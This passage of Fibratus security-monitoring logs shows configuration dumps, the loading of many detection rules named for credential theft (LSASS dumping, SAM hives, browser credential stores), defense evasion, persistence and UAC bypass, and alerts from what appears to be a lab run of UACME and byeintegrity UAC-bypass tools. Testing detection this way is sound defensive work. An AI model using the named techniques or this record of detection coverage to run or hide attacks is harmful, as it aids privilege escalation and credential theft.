format=>pretty enabled=>true] http=>[ method=>POST enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json endpoints=>[] timeout=>5s] amqp=>[ routing-key=>fibratus exchange=>fibratus timeout=>5s delivery-mode=>transient vhost=>/ exchange-type=>topic durable=>false enabled=>false passive=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-procs=>[] skip-files=>false skip-registry=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:28:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:28:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:52:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:52:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:52:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:06:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T20:06:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:06:59+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T20:06:59+01:00 level=info msg=bootstrapping with pid 10284. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:06:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false stack-enrichment=>true max-buffers=>36 flush-interval=>1s enable-registry=>true min-buffers=>16 enable-net=>true buffer-size=>512 enable-thread=>true enable-mem=>false enable-vamap=>true enable-fileio=>true enable-audit-api=>true enable-image=>true enable-dns=>false enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text max-age=>0 log-stdout=>true max-backups=>15 level=>info] + output ......................... [ http=>[ enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[] serializer=>json] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] elasticsearch=>[ bulk-workers=>1 servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck=>true enabled=>false sniff=>false index-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s gzip-compression=>false template-name=>fibratus trace-log=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ timeout=>5s passive=>false tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient durable=>false enabled=>false routing-key=>fibratus url=>amqp://localhost:5672 exchange=>fibratus]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true enabled=>false skip-allocs=>false skip-registry=>false skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:07:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:07:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:07:26+01:00 level=error msg=unable to parse PE exports for module [C:\Fibratus\redteam\UACME\Source\Akagi\f4XgHWaIwt3jN.exe]: open C:\Fibratus\redteam\UACME\Source\Akagi\f4XgHWaIwt3jN.exe: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-22T20:07:29+01:00 level=error msg=unable to parse PE exports for module [C:\Fibratus\redteam\UACME\Source\Akagi\system32\pcadm.dll]: open C:\Fibratus\redteam\UACME\Source\Akagi\system32\pcadm.dll: The system cannot find the path specified. source=symbolize/symbolizer.go:246 +time=2025-11-22T20:07:29+01:00 level=info msg=sending alert: [UAC bypass via Program Compatibility Assistant scheduled task]. Text: Event(s): + Seq: 2984129 + Pid: 7248 + Tid: 11400 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 20:07:17.4058044 +0100 CET + Params: cmdline➜ 2, directory_table_base➜ 145a2e000, domain➜ ARCHRABBIT, exe➜ C:\Fibratus\redteam\UACME\Source\Akagi\f4XgHWaIwt3jN.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3dc0f080, name➜ f4XgHWaIwt3jN.exe, pid➜ 10004, ppid➜ 7248, real_ppid➜ 7248, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 20:07:17.4058044 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via Program Compatibility Assistant scheduled task, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 1763838437405812596 + + Pid: 7248 + Ppid: 828 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [taskhostw.exe] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-22T20:07:29+01:00 level=error msg=unable to parse PE exports for module [C:\Fibratus\redteam\UACME\Source\Akagi\f4XgHWaIwt3jN.exe]: open C:\Fibratus\redteam\UACME\Source\Akagi\f4XgHWaIwt3jN.exe: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-22T20:07:37+01:00 level=info msg=sending alert: [Windows Defender driver unloading]. Text: Windows Defender driver C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys unloaded by process C:\WINDOWS\system32\services.exe + Event(s): + Seq: 3077606 + Pid: 1000 + Tid: 8332 + Type: UnloadImage + CPU: 6 + Name: UnloadImage + Category: image + Description: Unloads the module from the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-22 20:07:32.7267699 +0100 CET + Params: base_address➜ fffff80125920000, checksum➜ 121631, default_address➜ 0, file_path➜ C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys, image_size➜ 110592, pid➜ 0, signature_level➜ WINDOWS, signature_type➜ EMBEDDED + Metadata: technique.name: Impair Defenses, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562, subtechnique.ref: https://attack.mitre.org/techniques/T1562/001, tactic.name: Defense Evasion, subtechnique.name: Disable or Modify Tools, rule.name: Windows Defender driver unloading, tactic.id: TA0005, technique.ref: https://attack.mitre.org/techniques/T1562/, subtechnique.id: T1562.001 + + Pid: 1000 + Ppid: 404 + Name: services.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\services.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\services.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\services.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-22T20:08:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:08:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:08:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:20:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T20:20:06+01:00 level=info msg=bootstrapping with pid 500. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:20:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true port=>25 enabled=>false content-type=>text/html to=>[]] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true enable-net=>true enable-fileio=>true enable-vamap=>true enable-mem=>false buffer-size=>512 max-buffers=>36 enable-threadpool=>false min-buffers=>16 enable-image=>true stack-enrichment=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-dns=>false enable-thread=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-size=>100 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] amqp=>[ durable=>false exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 timeout=>5s delivery-mode=>transient enabled=>false vhost=>/ passive=>false exchange=>fibratus] elasticsearch=>[ index-name=>fibratus bulk-workers=>1 template-name=>fibratus enabled=>false trace-log=>false timeout=>5s healthcheck-interval=>10s sniff=>false flush-period=>1s gzip-compression=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s method=>POST enabled=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false excluded-procs=>[] scan-timeout=>10s skip-allocs=>false skip-mmaps=>false excluded-files=>[] skip-registry=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:20:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:20:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:20:14+01:00 level=error msg=unable to parse PE exports for module [C:\Fibratus\redteam\byeintegrity5-uac\system32\npmproxy.dll]: open C:\Fibratus\redteam\byeintegrity5-uac\system32\npmproxy.dll: The system cannot find the path specified. source=symbolize/symbolizer.go:246 +time=2025-11-22T20:24:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:24:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:24:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:25:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T20:25:59+01:00 level=info msg=bootstrapping with pid 8204. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:25:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-registry=>true enable-handle=>false enable-thread=>true buffer-size=>512 min-buffers=>16 enable-fileio=>true enable-audit-api=>true stack-enrichment=>true enable-threadpool=>false flush-interval=>1s max-buffers=>36 enable-net=>true enable-mem=>false enable-image=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] 